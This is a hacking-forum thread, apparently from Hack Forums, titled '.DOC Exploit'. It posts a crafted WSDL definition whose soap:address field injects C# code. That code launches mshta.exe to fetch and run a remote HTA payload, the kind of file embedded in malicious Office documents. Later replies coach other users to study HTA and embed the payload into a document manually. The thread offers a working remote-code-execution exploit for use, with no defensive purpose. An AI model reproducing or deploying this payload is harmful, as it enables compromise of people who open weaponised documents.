

Forum:[Hack Forums](#)

Thread: [.DOC Exploit](#)

Cyber Connection - October 26, 2017, 11:52 am

Code <definitions

```
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.org/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
  <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
  <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
  <port name="Port" binding="tns:Binding">
```

```
    <soap:address
location="https://example.com?C:\Windows\System32\mshta.exe?https://example.com/cmd.jpg"/>
      <soap:address location="";
      if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
        System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
        System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
      } //"/>
    </port>
  </service>
</definitions>
```

aircommodore - January 4, 2018, 4:10 pm

hey how am supposed to use this pls?

CyberStrike - January 4, 2018, 7:41 pm

Research hta and Windows, then you will have a bit better of an understanding of what's going on. Look up how to manually embed an hta into a document.

Dimeblade - January 15, 2018, 3:46 am

(Jan 4, 2018 08:41 PM)sirru5h Wrote: [\[CITE\]](#) Research hta and Windows, then you will have a bit better of an understanding of what's going on. Look up how to manually embed an hta into a document.

10000x better than whats on the thread LOOOL

Every keyword there to do the research if anyone is gonna look into it.

HYDRA 2FA - January 15, 2018, 10:56 am

how to use it? there are examples?

CyberStrike - January 17, 2018, 4:27 am

(Jan 15, 2018 11:56 AM)barracude Wrote: [\[CITE\]](#) how to use it? there are examples?

First and really important is learning what is behind whats going on so hta is important

[https://msdn.microsoft.com/en-us/library/bb250409\(v=vs.85\).aspx](https://msdn.microsoft.com/en-us/library/bb250409(v=vs.85).aspx)

Second you also need microsoft office. Doing these things manually tends to allow for much more functionality than say automated tools.